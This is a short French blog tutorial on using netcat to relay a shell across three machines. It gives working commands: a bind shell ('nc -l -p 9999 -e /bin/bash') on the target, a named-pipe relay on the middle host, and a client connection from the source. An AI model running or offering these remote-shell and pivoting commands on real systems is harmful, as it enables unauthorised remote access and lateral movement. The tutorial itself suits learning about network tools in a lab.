Netcat – mise en place d’un relai shell

Une fois de plus netcat va nous montrer toute sa simplicité. Aujourd’hui, je vous propose de découvrir comment créer une machine relai entre deux machines.

machine 1 > machine 2 > machine 3

Ainsi, on va utiliser 3 machines dont une servira d’intermédiaire entre les 2 autres. L’objectif étant de passer des commandes des commandes shell à partir de la machine sur la machine 3 en passant par la 2.

La démo en vidéo

Les commandes sont les suivantes :

exemple : 172.17.0.1 > 172.17.0.2 > 172.17.0.3

# sur la cible 172.17.0.3
nc -l -p 9999 -e /bin/bash

# sur le relay 172.17.0.2
mknod backpipe p
nc -l -p 7777 0<backpipe | nc 172.17.0.3 9999 1>backpipe

# sur la source 172.17.0.1
nc 172.17.0.2 7777
Découvrez  Netcat - Cryptcat pour chiffrer vos échanges